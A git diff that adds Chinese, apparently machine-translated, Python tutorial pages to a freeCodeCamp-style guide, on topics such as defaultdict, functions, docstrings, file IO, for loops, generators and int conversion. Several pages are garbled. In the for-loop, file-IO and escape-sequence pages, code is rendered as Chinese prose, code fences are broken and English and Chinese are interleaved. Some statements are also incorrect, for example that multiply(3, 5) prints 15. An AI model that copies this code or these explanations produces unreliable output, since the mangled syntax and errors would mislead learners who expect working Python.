+这在大多数时候都适用。但是，有一种更好的方法可以做到这一点。一种更加`pythonic`方式。 `defaultdict`是内置dict类的子类。 `defaultdict`只是分配我们在缺少键时指定的默认值。那么，这两个步骤：
+
+```python
+dict_[random_key] = dict_.get(random_key, set()) 
+ dict_[random_key].add("Hello World!") 
+```
+
+现在可以合并为一个步骤。例如
+
+```python
+from collections import defaultdict 
+ 
+ # Yet another random key 
+ random_key = "random_key" 
+ 
+ # list defaultdict 
+ list_dict_ = defaultdict(list) 
+ 
+ # set defaultdict 
+ set_dict_ = defaultdict(set) 
+ 
+ # integer defaultdict 
+ int_dict_ = defaultdict(int) 
+ 
+ list_dict_[random_key].append("Hello World!") 
+ set_dict_[random_key].add("Hello World!") 
+ int_dict_[random_key] += 1 
+ 
+ """ 
+  defaultdict(<class 'list'>, {'random_key': ['Hello World!']}) 
+  defaultdict(<class 'set'>, {'random_key': {'Hello World!'}}) 
+  defaultdict(<class 'int'>, {'random_key': 1}) 
+ """ 
+ print(list_dict_, set_dict_, int_dict_) 
+```
+
+* * *
+
+[官方文件](https://docs.python.org/2/library/collections.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/defining-functions/index.md b/client/src/guide/chinese/python/defining-functions/index.md
new file mode 100644
index 0000000000..1b673702ed
--- /dev/null
+++ b/client/src/guide/chinese/python/defining-functions/index.md
@@ -0,0 +1,24 @@
+---
+title: Python Defining Functions
+localeTitle: Python定义函数
+---
+[Python文档](https://docs.python.org/3/tutorial/controlflow.html#defining-functions)
+
+我们可以创建一个将Fibonacci系列写入任意边界的函数：
+```
+>>> def fib(n):    # write Fibonacci series up to n 
+ ...     """Print a Fibonacci series up to n.""" 
+ ...     a, b = 0, 1 
+ ...     while a < n: 
+ ...         print(a, end=' ') 
+ ...         a, b = b, a+b 
+ ...     print() 
+ ... 
+ >>> # Now call the function we just defined: 
+ ... fib(2000) 
+ 0 1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 1597 
+```
+
+[`def`](https://docs.python.org/3/reference/compound_stmts.html#def)关键字引入了函数定义。它必须后跟函数名称和带括号的形式参数列表。构成函数体的语句从下一行开始，必须缩进。
+
+函数体的第一个语句可以选择是字符串文字;此字符串文字是函数的文档字符串或[docstring](https://www.python.org/dev/peps/pep-0257/) （有关文档[字符串的](https://www.python.org/dev/peps/pep-0257/)更多信息，请参阅文档字符串部分）。有些工具使用文档字符串自动生成在线或印刷文档，或让用户以交互方式浏览代码。在你编写的代码中包含docstrings是一种很好的做法，所以尽量养成习惯。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/difference-between-is-and-equal-equal-operators/index.md b/client/src/guide/chinese/python/difference-between-is-and-equal-equal-operators/index.md
new file mode 100644
index 0000000000..3100243a90
--- /dev/null
+++ b/client/src/guide/chinese/python/difference-between-is-and-equal-equal-operators/index.md
@@ -0,0 +1,27 @@
+---
+title: Difference between Python 'is' and '==' operators
+localeTitle: Python'是'和'=='运算符之间的区别
+---
+`is`是检查对象标识 - 即检查两个或多个变量是否指向同一个对象。你不能超载`is` 。
+
+如果变量引用的对象相等，则`==`计算结果为true。您可以通过`__eq__`运算符重载`==` 。
+
+## 回报价值
+
+两者的返回值可以是`True`或`False` 。
+
+## 代码示例
+```
+a = 2.3 
+ a is 2.3  # => False 
+ a == 2.3  # => True 
+ 
+ a = [234,123,321] 
+ b = [234,123,321] 
+ a == b  # => True 
+ a is b  # => False 
+ a = b 
+ a == b  # => True 
+ a is b  # => True, because if we change a, b changes too 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/docstring/index.md b/client/src/guide/chinese/python/docstring/index.md
new file mode 100644
index 0000000000..7a3f3d7357
--- /dev/null
+++ b/client/src/guide/chinese/python/docstring/index.md
@@ -0,0 +1,67 @@
+---
+title: Docstring
+localeTitle: 文档字符串
+---
+## 文档字符串
+
+Docstring是开发人员向其他开发人员传达Python中函数的用途，参数，要求和用法的一种方式。它允许简化代码维护和理解。
+
+与传统的源代码注释不同，docstring应该描述什么 功能，不是如何。
+
+与Docstring类似的例子是Java中的@Javadoc。
+
+Docstring在Python中的声明标题之后写成多行注释。 docstring有4个不同的部分：
+
+1.  输入类型和输出类型
+    *   输入/输出可以是`obj, list, bool, int, str, float`
+2.  功能说明
+    *   简要但详尽地描述了您的功能
+3.  要求
+    *   这是由人类阅读的，因此不必是代码
+4.  测试用例（通常为2-3）
+
+一般格式如下。
+
+## Docstring的格式
+
+```python
+def my_examplefunc(input_type1, input_type2): 
+  '''(input_type1, input_type2) -> output_type        # Your first line will be the input/output. Remember the space around the arrow! 
+  Here is a description of my example function        # Your second line will be the description 
+  REQ: type(input_type1) == list                      # Your next line (or lines) will be the requirements for the input of your function 
+  REQ: type(input_type2) == str 
+  >>> my_example_func([2, 3], "Hello World!")         # After the requirements come test cases 
+  [2, 3] "Hello World" 
+  >>> my_example_func([7, 2], "Another test case")    # Your first line of the test case is an example of the usage, prefaced by >>> 
+  [7, 2] "Another test case"                          # Your second line of the test case is the output 
+  >>> my_example_func([5, 6], "Last test case") 
+  [5, 6] "Last test case" 
+  ''' 
+  # Your code goes here, underneath the Docstring 
+```
+
+使用示例可以最好地理解Docstring，因此请查看下面的示例程序，如果数字小于5，程序将输出True，如果数字大于5，则输出False。
+
+## 例1
+
+```python
+def is_less_than_five(some_number): 
+  '''(int) -> bool 
+  Returns True if the given number is less than 5, and False is the given number is greater than 5. 
+  REQ: some_number != 5 
+  >>> is_less_than_five(4) 
+  True 
+  >>> is_less_than_five(6) 
+  False 
+  >>> is_less_than_five(100000) 
+  False 
+  ''' 
+  # Your code goes here 
+```
+
+### 一些有用的链接：
+
+Numpy和Google Docstrings是两种常用的方法：
+
+*   Google：http：//sphinxcontrib-napoleon.readthedocs.io/en/latest/example\_google.html
+*   Numpy：http：//sphinxcontrib-napoleon.readthedocs.io/en/latest/example\_numpy.html 另外，请参阅一些旧的PEP评论：https：//www.python.org/dev/peps/pep-0257/
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/escape-sequences/index.md b/client/src/guide/chinese/python/escape-sequences/index.md
new file mode 100644
index 0000000000..39f505c21d
--- /dev/null
+++ b/client/src/guide/chinese/python/escape-sequences/index.md
@@ -0,0 +1,36 @@
+---
+title: Python Escape Sequences
+localeTitle: Python转义序列
+---
+可以在[此处](https://docs.python.org/3/reference/lexical_analysis.html#strings)找到转义序列列表
+
+转义序列允许将特殊字符包含在字符串中。
+```
+>>> print('Single quote strings can have \'single\' quotes if they are escaped') 
+ "Single quote strings can have 'single' quotes if they are escaped" 
+ >>> print("Double quote strings can have \"double\" quotes if they are escaped") 
+ 'Double quote strings can have "double" quotes if they are escaped' 
+ >>> print("Multiline strings\ncan be created\nusing escape sequences.") 
+ Multiline strings 
+ can be created 
+ using escape sequences. 
+ >>> print("Backslashes \\ need to be escaped.") 
+ Backslashes \ need to be escaped. 
+```
+
+可以通过在字符串前加上`r`或`R`来使用_原始_字符串，这允许包含反斜杠而无需转义它们 -
+```
+>>> print(r"Backslashes \ don't need to be escaped in raw strings.") 
+ Backslashes \ don't need to be escaped in raw strings. 
+ >>> print(r"An odd number of backslashes at the end of a raw string will cause an error\") 
+  File "<stdin>", line 1 
+    print(r"An odd number of backslashes at the end of a raw string will cause an error\") 
+                                                                                         ^ 
+ SyntaxError: EOL while scanning string literal. 
+```
+
+＃转义序列的一些例子。 逃脱序列  
+\\打印反斜杠  
+\`打印单引号  
+“打印双引号  
+\\ ASCII铃声响铃铃声（例如xterm） \\ b ASCII退格（BS）删除前一个字符 \\ n添加换行符。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/exception-and-error-handling/index.md b/client/src/guide/chinese/python/exception-and-error-handling/index.md
new file mode 100644
index 0000000000..39fc097031
--- /dev/null
+++ b/client/src/guide/chinese/python/exception-and-error-handling/index.md
@@ -0,0 +1,32 @@
+---
+title: Exceptions and Errors Handling
+localeTitle: 异常和错误处理
+---
+## 异常和错误处理
+
+在创建程序时，我们可能会犯错，最终会出现错误，而最糟糕的程序会停止运行， 如果我们在代码中找不到错误或错误，那会更烦人。 简单来说，错误是程序员在编写程序时避免的。 要在python中解决这个问题，我们可以使用`try`和`except`
+
+例：
+
+```shell
+>>> try: 
+ >>> . . . print "this is not a string "+1 
+ >>> except: 
+ >>> . . . print "error" 
+ error 
+```
+
+如果您想从代码中更详细地获取错误消息，可以添加`except Exception as err`参数`except Exception as err`
+
+```shell
+>>> try: 
+ >>> . . . print "this is not a string "+1 
+ >>> except Exception as err: 
+ >>> . . . print "error:\n"+str(err) 
+ error: 
+ cannot concatenate 'str' and 'int' objects 
+```
+
+更多信息：
+
+错误和例外[文档](https://docs.python.org/2/tutorial/errors.html) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/files-and-io/index.md b/client/src/guide/chinese/python/files-and-io/index.md
new file mode 100644
index 0000000000..e9dbbc8bc3
--- /dev/null
+++ b/client/src/guide/chinese/python/files-and-io/index.md
@@ -0,0 +1,115 @@
+---
+title: Files and IO
+localeTitle: 文件和IO
+---
+## 文件和IO
+
+文件是磁盘上的命名位置，用于存储相关信息。它用于将数据永久存储在非易失性存储器（例如硬盘）中。由于随机存取存储器（RAM）是易失性的，当计算机关闭时会丢失其数据，因此我们使用文件将来使用数据。
+
+当我们想要读取或写入文件时，我们需要先打开它。完成后，需要关闭它，以便释放与文件绑定的资源。
+
+因此，在Python中，文件操作按以下顺序进行： 1）打开一个文件 2）读或写（执行操作） 3）关闭文件
+
+Python有许多输入和输出操作方式。某些输出操作可以是打印文本，控制台日志，甚至可以输出文本或电子表格文件。
+
+### 输出到屏幕
+
+Python提供了生成屏幕输出的最简单方法。
+
+```python
+print "Python is a powerful language.","It is easy to learn." 
+```
+
+输出：
+```
+Python is a powerful language.It is easy to learn. 
+```
+
+### 来自用户的输入
+
+有两种方法可以从用户那里获取输入。
+
+的raw\_input（\[提示\]）
+
+用于从标准输入读取一行并将其作为字符串返回
+
+```python
+str = raw_input("Enter your name: ") 
+ print "Welcome ", str 
+```
+
+输出：
+```
+Enter your name: John Doe 
+ Welcome John Doe 
+```
+
+输入（提示）
+
+与raw\_input（）类似的功能，但假设输入是有效的Python表达式
+
+```python
+str = input("Enter input: ") 
+ print "Input: ", str 
+```
+
+输出：
+```
+Enter input: [x*5 for x in range(2,10,2)] 
+ Input: [10,20,30,40] 
+```
+
+### 在Python中与文件交互
+
+使用Python，可以轻松打开，读取，写入和关闭文件。有了可用的功能：
+
+1.  `open()`
+2.  `read()`
+3.  `write()`
+4.  `close()`
+
+例：
+
+```python
+file1 = open("foo.txt", "r+")     # Opens the file with read permission. 
+ file1.write("Python is a powerful language.It is easy to learn.")     # Writes data into the file. 
+ data = file1.read(15)     # Reads first 15 characters in the file. 
+ print "First 15 characters are:\n", data     # Prints output 
+ file1.close()     # Closes the opened file. 
+```
+
+输出：
+```
+First 15 characters are: 
+ Python is a pow 
+```
+
+#### 打开文件
+
+python方法open（）可用于返回文件对象。它最常用于两个参数，即文件名和访问模式。访问模式用于描述访问或使用文件的方式。
+
+最常用的模式是'w'，用于写入文件，'r'用于读取文件，'r +'用于读写文件。 'a'是用于将文本附加到文件中的模式。 mode参数也是可选的，如果省略则将被假定为'r'。
+
+在输入和输出操作完成后，必须关闭文件以释放任何资源。
+
+打开文本文件的示例代码：
+
+\`\`\`python file = open（'hello\_world.txt'，'w'） file.write（'Hello World！'） file.close（）
+```
+##### Using with 
+ An alternative to using the `open()` function in standalone is to make use of the `with` statement to open a file. This is considered best practice as it allows the Python framework to manage the context of opening the file, and will autmoatically perform any required resource cleanup. 
+ 
+ This is adventageous in the fact that it takes the onus off the programmer to close every file that is opened, and that the file will still be closed even if an exception was encountered during an IO operation. 
+ 
+ When using the `with` statement is important to note that access to the file will only available within the scope of the `with` block. 
+ 
+ To open a file using the `with` statement the `with` keyword is entered, followed by the call to `open(file)`. Following this the variable used as a handle to the open file is declared after the `as` keyword. Once the programs execution returns from this block, the file will be closed automatically. 
+ 
+ Sample code to open a text file using the `with` statement: 
+```
+
+用open（'hello\_world.txt'，'w'）作为f： f.write（'Hello World！'） \`\`\`
+
+#### 更多信息：
+
+[Python文档 - IO](https://docs.python.org/2/tutorial/inputoutput.html) [自动化无聊的东西](https://automatetheboringstuff.com/chapter8/) [教程点 - Python IO](https://www.tutorialspoint.com/python/python_files_io.htm) [8 PEP 343：'with'声明](https://docs.python.org/2.5/whatsnew/pep-343.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/for-loop-statements/index.md b/client/src/guide/chinese/python/for-loop-statements/index.md
new file mode 100644
index 0000000000..3f29bbc612
--- /dev/null
+++ b/client/src/guide/chinese/python/for-loop-statements/index.md
@@ -0,0 +1,184 @@
+---
+title: For Loop Statements
+localeTitle: 对于循环语句
+---
+## 对于循环语句
+
+Python利用for循环迭代元素列表。与C或Java不同，后者使用for循环在步骤中更改值并使用该值访问诸如数组之类的内容。
+
+For循环遍历基于集合的数据结构，如列表，元组和字典。
+
+基本语法是：
+
+```python
+for value in list_of_values: 
+  # use value inside this block 
+```
+
+通常，您可以使用任何内容作为迭代器值，其中可以为iterable的条目赋值。例如，您可以从元组列表中解压缩元组：
+
+```python
+list_of_tuples = [(1,2), (3,4)] 
+ 
+ for a, b in list_of_tuples: 
+  print("a:", a, "b:", b) 
+```
+
+另一方面，您可以遍历任何可迭代的东西。您可以调用函数或使用列表文字。
+
+```python
+for person in load_persons(): 
+  print("The name is:", person.name) 
+```
+
+```python
+for character in ["P", "y", "t", "h", "o", "n"]: 
+  print("Give me a '{}'!".format(character)) 
+```
+
+使用For循环的一些方法：
+
+**迭代range（）函数**
+
+```python
+for i in range(10): 
+    print(i) 
+```
+
+范围实际上是一个不可变的序列类型，而不是一个函数。 输出将包含来自下限的结果，即0到上限，即10但不包括10.默认情况下，下限或起始索引设置为零。 输出：
+```
+> 
+ 0 
+ 1 
+ 2 
+ 3 
+ 4 
+ 5 
+ 6 
+ 7 
+ 8 
+ 9 
+ > 
+```
+
+另外，可以通过添加第二和第三参数来指定序列的下限甚至序列的步骤。
+
+```python
+for i in range(4,10,2): #From 4 to 9 using a step of two 
+    print(i) 
+```
+
+输出：
+```
+> 
+ 4 
+ 6 
+ 8 
+ > 
+```
+
+**xrange（）函数**
+
+在大多数情况下，xrange和range在功能方面完全相同。它们都提供了一种生成整数列表供您使用的方法，但是您可以随意使用。唯一的区别是range返回一个Python列表对象，xrange返回一个xrange对象。这意味着xrange实际上并不像运行时那样在运行时生成静态列表。它使用称为yielding的特殊技术根据需要创建值。该技术与一种称为生成器的对象一起使用。
+
+还有一件事要补充。在Python 3.x中，xrange函数不再存在。范围函数现在执行xrange在Python 2.x中的功能
+
+**迭代列表或元组中的值**
+
+```python
+A = ["hello", 1, 65, "thank you", [2, 3]] 
+ for value in A: 
+    print(value) 
+```
+
+输出：
+```
+> 
+ hello 
+ 1 
+ 65 
+ thank you 
+ [2, 3] 
+ > 
+```
+
+**迭代字典中的键（也称为hashmap）**
+
+```python
+fruits_to_colors = {"apple": "#ff0000", 
+                    "lemon": "#ffff00", 
+                    "orange": "#ffa500"} 
+ 
+ for key in fruits_to_colors: 
+    print(key, fruits_to_colors[key]) 
+```
+
+输出：
+```
+> 
+ apple #ff0000 
+ lemon #ffff00 
+ orange #ffa500 
+ > 
+```
+
+**使用zip（）函数在单个循环中迭代两个相同大小的列表**
+
+\`\`\`蟒蛇 A = \[“a”，“b”，“c”\] B = \[“a”，“d”，“e”\]
+
+对于a，b为拉链（A，B）： 打印a，b，a == b
+```
+Output: 
+```
+
+\> 真的 bd错误 是的假 >
+```
+**Iterate over a list and get the corresponding index with the enumerate() function** 
+```
+
+蟒蛇 A = \[“this”，“is”，“something”，“fun”\]
+
+对于索引，枚举中的单词（A）： 打印（索引，单词）
+```
+Output: 
+```
+
+\> 0这个 1是 2件事 3有趣 >
+```
+A common use case is iterating over a dictionary: 
+```
+
+蟒蛇 名称，contacts.items（）中的phonenumber： print（名称，“可以在”，phonenumber下）
+```
+If you absolutely need to access the current index of your iteration, do **NOT** use `range(len(iterable))`! This is an extremely bad practice and will get you plenty of chuckles from senior Python developers. Use the built in function `enumerate()` instead: 
+```
+
+蟒蛇 对于index，枚举项（shopping\_basket）： print（“Item”，index，“is a”，item）
+```
+**for/else statements** 
+ Pyhton permits you to use else with for loops, the else case is executed when none of the conditions with in the loop body was satisfied. To use the else we have to make use of `break` statement so that we can break out of the loop on a satsfied condition.If we do not break out then the else part will be executed. 
+```
+
+蟒蛇 周日_\= \['星期一'，'星期二'，'星期三'，'星期四'，'星期五'\] 今天='星期六' 对于天工作日_ ： if day == today： 打印（'今天是一周工作日'） 打破 其他： 打印（'今天不是一周工作日'）
+```
+In the above case the output will be `today is not a week day` since the break within the loop will never be executed. 
+ 
+ **Iterate over a list using inline loop function** 
+ 
+ We could also iterate inline using python, for example if we need to uppercase all the words in a list from a list we could simply do the following: 
+```
+
+蟒蛇 A = \[“this”，“is”，“awesome”，“shinning”，“star”\]
+
+UPPERCASE = \[Word中的单词的\[word.upper（）\] 打印（大写）
+```
+Output: 
+```
+
+\> \['这'，'是'，'太棒了'，'SHINNING'，'明星'\] > \`\`\`
+
+#### 更多信息：
+
+*   [Python2 for循环文档](https://docs.python.org/2.7/tutorial/controlflow.html#for-statements)
+    
+*   [Python3 for循环文档](https://docs.python.org/3/tutorial/controlflow.html#for-statements)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/from-x-import-y/index.md b/client/src/guide/chinese/python/from-x-import-y/index.md
new file mode 100644
index 0000000000..a946727925
--- /dev/null
+++ b/client/src/guide/chinese/python/from-x-import-y/index.md
@@ -0,0 +1,35 @@
+---
+title: Python from X Import Y
+localeTitle: 来自X Import Y的Python
+---
+如果您已经阅读了`import statements` wiki，那么您已经看到我在其中一个示例中使用了此语句。今天，我们将尝试了解它的作用
+
+所以拿起同样的例子：
+```
+>>> from math import ceil, sqrt 
+ >>> # here it would be 
+ >>> sqrt(36) 
+ <<< 6 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CS5t/1)
+
+或者我们可以使用这个：
+```
+>>> import math 
+ >>> # here it would be 
+ >>> math.sqrt(36) 
+ <<< 6 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CS5u)
+
+然后我们的代码看起来像`math.sqrt(x)`而不是`sqrt(x)` 。发生这种情况是因为当我们使用`import x` ，创建名称空间`x`本身就是为了避免名称冲突。您必须以`x.<name>`访问模块的每个对象。但是当我们使用`from x import y`我们同意将`y`添加到主全局命名空间。因此，在使用它时，我们必须确保在程序中没有具有相同名称的对象。
+
+> **如果名为`y`的对象已存在，则永远不要使用`from x import y`**
+
+例如，在`os`模块中有一个方法`open` 。但我们甚至有一个名为`open`的内置函数。所以，这里我们应该避免使用`from os import open` 。
+
+我们甚至可以使用`form x import *` ，这会将该模块的所有方法，类导入到程序的全局命名空间中。这是一个糟糕的编程习惯。请避免它。
+
+一般来说，你应该避免`from x import y`因为它可能会导致大规模程序出现问题。例如，你永远不知道同事程序员是否想要创建一个恰好是现有函数之一的新函数。您也不知道Python是否会更改要导入函数的库。虽然如前所述，这些问题不会像单独项目那样经常存在，但这是不好的编程实践，应该避免。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/frozenset/index.md b/client/src/guide/chinese/python/frozenset/index.md
new file mode 100644
index 0000000000..cb7c0520cc
--- /dev/null
+++ b/client/src/guide/chinese/python/frozenset/index.md
@@ -0,0 +1,37 @@
+---
+title: Python Frozenset
+localeTitle: Python Frozenset
+---
+**`frozenset`基本信息** `frozenset`类型是一个内置的集合类型，它是不可变的和可散列的 - 它的内容在创建后不能被改变;但是，它可以用作字典键或另一组的元素。 Frozensets就像套装一样，只是它们不能改变，即它们是不变的。
+```
+>>> cities = frozenset(["Frankfurt", "Basel", "Freiburg"]) 
+ >>> cities.add("Strasbourg") 
+ Traceback (most recent call last): 
+    File "<stdin>", line 1, in <module> 
+ AttributeError: 'frozenset' object has no attribute 'add' 
+ >>> 
+```
+
+`frozenset`构造函数： `frozenset([iterable])` iterable包含用于初始化frozenset的元素。可以设置iterable，dictionary，tuple等。如果没有传递参数， `frozenset()`方法返回一个空的冻结集。
+
+**例子**
+```
+>>> vowels = ('a', 'e', 'i', 'o', 'u') 
+ >>> fSet = frozenset(vowels) 
+ >>> print("The frozen set is: ", fSet) 
+ The frozen set is: frozenset({'i', 'e', 'a', 'u', 'o'}) 
+ >>> print("The empty frozen set is: ", frozenset()) 
+ The empty frozen set is: frozenset() 
+ >>> 
+```
+
+**另一个例子**
+```
+>>> person = {"name": "John", "age": 23, "sex": "male"} 
+ >>> fSet = frozenset(person) 
+ >>> print("The frozen set is: ", fSet) 
+ The frozen set is: frozenset({'sex', 'name', 'age'}) 
+ >>> 
+```
+
+**附加信息** [Python Frozenset（）](https://www.programiz.com/python-programming/methods/built-in/frozenset) [设置类型 - 设置，冷冻设置](https://docs.python.org/2.4/lib/types-set.html) [Python教程：集合和冻结集](https://www.python-course.eu/sets_frozensets.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/functions/index.md b/client/src/guide/chinese/python/functions/index.md
new file mode 100644
index 0000000000..cf42409f2c
--- /dev/null
+++ b/client/src/guide/chinese/python/functions/index.md
@@ -0,0 +1,139 @@
+---
+title: Functions
+localeTitle: 功能
+---
+## 功能
+
+函数允许您定义可在程序中多次执行的可重用代码块。
+
+功能允许您为复杂问题创建更多模块化和[DRY](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself)解决方案。
+
+虽然Python已经提供了许多内置函数，例如`print()`和`len()` ，但您也可以定义自己的函数以在项目中使用。
+
+在代码中使用函数的一大优势是它减少了项目中代码行的总数。
+
+### 句法
+
+在Python中，函数定义具有以下功能：
+
+1.  关键字`def`
+2.  一个功能名称
+3.  paranthesis'（）'，并在paranthesis输入参数内，尽管输入参数是可选的。
+4.  冒号'：'
+5.  一些要执行的代码块
+6.  返回语句（可选）
+
+```python
+# a function with no parameters or returned values 
+ def sayHello(): 
+  print("Hello!") 
+ 
+ sayHello()  # calls the function, 'Hello!' is printed to the console 
+ 
+ # a function with a parameter 
+ def helloWithName(name): 
+  print("Hello " + name + "!") 
+ 
+ helloWithName("Ada")  # calls the function, 'Hello Ada!' is printed to the console 
+ 
+ # a function with multiple parameters with a return statement 
+ def multiply(val1, val2): 
+  return val1 * val2 
+ 
+ multiply(3, 5)  # prints 15 to the console 
+```
+
+函数是代码块，只需调用函数即可重用。这样可以实现简单，优雅的代码重用，而无需显式重写代码段。这使代码更易读，使调试更容易，并限制输入错误。
+
+Python中的函数是使用`def`关键字创建的，后跟括号内的函数名和函数参数。
+
+函数总是返回一个值，函数使用`return`关键字返回一个值，如果你不想返回任何值，则返回默认值`None` 。
+
+函数名称用于调用函数，在括号内传递所需的参数。
+
+```python
+# this is a basic sum function 
+ def sum(a, b): 
+  return a + b 
+ 
+ result = sum(1, 2) 
+ # result = 3 
+```
+
+您可以为参数定义默认值，这样Python将解释该参数的值是默认值，如果没有给出。
+
+```python
+def sum(a, b=3): 
+  return a + b 
+ 
+ result = sum(1) 
+ # result = 4 
+```
+
+您可以使用参数名称按所需顺序传递参数。
+
+```python
+result = sum(b=2, a=2) 
+ # result = 4 
+```
+
+但是，无法在非关键字参数之前传递关键字参数
+
+```Python
+result = sum(3, b=2) 
+ #result = 5 
+ result2 = sum(b=2, 3) 
+ #Will raise SyntaxError 
+```
+
+函数也是对象，因此您可以将它们分配给变量，并像函数一样使用该变量。
+
+```python
+s = sum 
+ result = s(1, 2) 
+ # result = 3 
+```
+
+### 笔记
+
+*   如果函数定义包含参数，则在调用函数时必须提供相同数量的参数。
+    
+    ```python
+    print(multiply(3))  # TypeError: multiply() takes exactly 2 arguments (0 given) 
+     
+     print(multiply('a', 5))  # 'aaaaa' printed to the console 
+     
+     print(multiply('a', 'b'))  # TypeError: Python can't multiply two strings 
+    
+    ```
+    
+*   函数将运行的代码块包括函数内缩进的所有语句。
+    
+    ```python
+    def myFunc(): 
+     print('this will print') 
+     print('so will this') 
+     
+     x = 7 
+     # the assignment of x is not a part of the function since it is not indented 
+    
+    ```
+    
+*   函数中定义的变量仅存在于该函数的范围内。
+    
+    ```python
+    def double(num): 
+     x = num * 2 
+     return x 
+     
+     print(x)  # error - x is not defined 
+     print(double(4))  # prints 8 
+    
+    ```
+    
+    \-Python仅在调用函数时解释函数块，而不是在定义函数时解释函数块。即使函数定义块包含某种错误，python解释器也只会在函数被调用时指出。
+    
+
+### 更多信息：
+
+*   [Python 3 Docs：定义函数](https://docs.python.org/3/tutorial/controlflow.html#defining-functions)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/generators/index.md b/client/src/guide/chinese/python/generators/index.md
new file mode 100644
index 0000000000..fb00b168b4
--- /dev/null
+++ b/client/src/guide/chinese/python/generators/index.md
@@ -0,0 +1,60 @@
+---
+title: Generators
+localeTitle: 发电机
+---
+## 发电机
+
+生成器是一种特殊类型的函数，它允许您在不结束函数的情况下返回值。它通过使用`yield`关键字来实现。与`return`类似， `yield`表达式将向调用者返回一个值。两者之间的关键区别在于`yield`将暂停该函数，允许将来返回更多值。
+
+生成器是可迭代的，因此它们可以与for循环或任何其他迭代一起使用。
+
+```python
+def my_generator(): 
+    yield 'hello' 
+    yield 'world' 
+    yield '!' 
+ 
+ for item in my_generator(): 
+    print(item) 
+ 
+ # output: 
+ # hello 
+ # world 
+ # ! 
+```
+
+与其他迭代器一样，生成器可以传递给`next`函数以检索下一个项目。当生成器没有更多值可以生成时，会引发`StopIteration`错误。
+
+```python
+g = my_generator() 
+ print(next(g)) 
+ # 'hello' 
+ print(next(g)) 
+ # 'world' 
+ print(next(g)) 
+ # '!' 
+ print(next(g)) 
+ # Traceback (most recent call last): 
+ #   File "<stdin>", line 1, in <module> 
+ # StopIteration 
+```
+
+当您需要创建大量值但不需要将它们全部保存在内存中时，生成器特别有用。例如，如果您需要打印第一百万个斐波那契数字，通常会返回一百万个值的列表并迭代列表以打印每个值。但是使用生成器，您可以一次返回一个值：
+
+```python
+def fib(n): 
+    a = 1 
+    b = 1 
+    for i in range(n): 
+        yield a 
+        a, b = b, a + b 
+ 
+ for x in fib(1000000): 
+    print(x) 
+```
+
+### 更多信息
+
+*   [PEP 255](https://www.python.org/dev/peps/pep-0255/)
+*   [Python Wiki](https://wiki.python.org/moin/Generators)
+*   [收益表文件](https://docs.python.org/2/reference/simple_stmts.html#yield)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/hex-functions/index.md b/client/src/guide/chinese/python/hex-functions/index.md
new file mode 100644
index 0000000000..eb15809a8f
--- /dev/null
+++ b/client/src/guide/chinese/python/hex-functions/index.md
@@ -0,0 +1,24 @@
+---
+title: Python Hex Function
+localeTitle: Python十六进制函数
+---
+`hex(x)`是Python 3中的内置函数，用于将整数转换为带有前缀“0x”的小写[十六进制](https://www.mathsisfun.com/hexadecimals.html)字符串。
+
+## 论据
+
+此函数接受一个参数`x` ，该参数应为整数类型。
+
+## 返回
+
+此函数返回带有前缀“0x”的小写十六进制字符串。
+
+## 例
+```
+print(hex(16))    # prints  0x10 
+ print(hex(-298))  # prints -0x12a 
+ print(hex(543))   # prints  0x21f 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CV0S)
+
+[官方文件](https://docs.python.org/3/library/functions.html#hex)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/how-to-convert-strings-into-integers-in-python/index.md b/client/src/guide/chinese/python/how-to-convert-strings-into-integers-in-python/index.md
new file mode 100644
index 0000000000..8cce50484b
--- /dev/null
+++ b/client/src/guide/chinese/python/how-to-convert-strings-into-integers-in-python/index.md
@@ -0,0 +1,79 @@
+---
+title: How to Convert Strings into Integers in Python
+localeTitle: 如何在Python中将字符串转换为整数
+---
+## 如何在Python中将字符串转换为整数
+
+就像内置的`str()`一样，Python也提供了一个方便的内置函数，它将一个字符串对象作为参数并返回相应的整数对象。
+
+#### 用法示例：
+
+```py
+# Here age is a string object 
+ age = "18" 
+ print(age) 
+ # Converting string to integer 
+ int_age = int(age) 
+ print(int_age) 
+```
+
+产量
+
+```py
+18 
+ 18 
+```
+
+虽然输出在视觉上类似，但你应该记住，第一行打印一个字符串对象，而它旁边的行打印一个整数对象，这将在下一个例子中进一步说明：
+
+```py
+age = "18" 
+ print(age+2) 
+```
+
+输出：
+
+```py
+Traceback (most recent call last): 
+  File "<stdin>", line 1, in <module> 
+ TypeError: cannot concatenate 'str' and 'int' objects 
+```
+
+`The error should make it clear to you that you need to convert the`向其添加内容之前 `The error should make it clear to you that you need to convert the` age\`对象 `The error should make it clear to you that you need to convert the`整数。
+
+```py
+age = "18" 
+ age_int = int(age) 
+ print(age_int+2) 
+```
+
+输出：
+
+```py
+20 
+```
+
+但是你应该记住一些特殊情况：
+
+1.  浮点（带小数部分的整数）作为参数将返回向下舍入到最接近的整数的浮点数。 例如： `print(int(7.9))`将打印`7` 。 `print(int("7.9"))`也会导致错误，因为字符串是转换为整数的无效参数。
+    
+    ```py
+    Traceback (most recent call last): 
+      File "<stdin>", line 1, in <module> 
+     ValueError: invalid literal for int() with base 10: '7.9' 
+    
+    ```
+    
+2.  如果作为参数给出，任何单词中的任何整数都将返回与上面相同的错误： `print(int("one"))`将给出如下错误：
+    
+    ```py
+    Traceback (most recent call last): 
+      File "<stdin>", line 1, in <module> 
+     ValueError: invalid literal for int() with base 10: 'one' 
+    
+    ```
+    
+
+#### 更多信息：
+
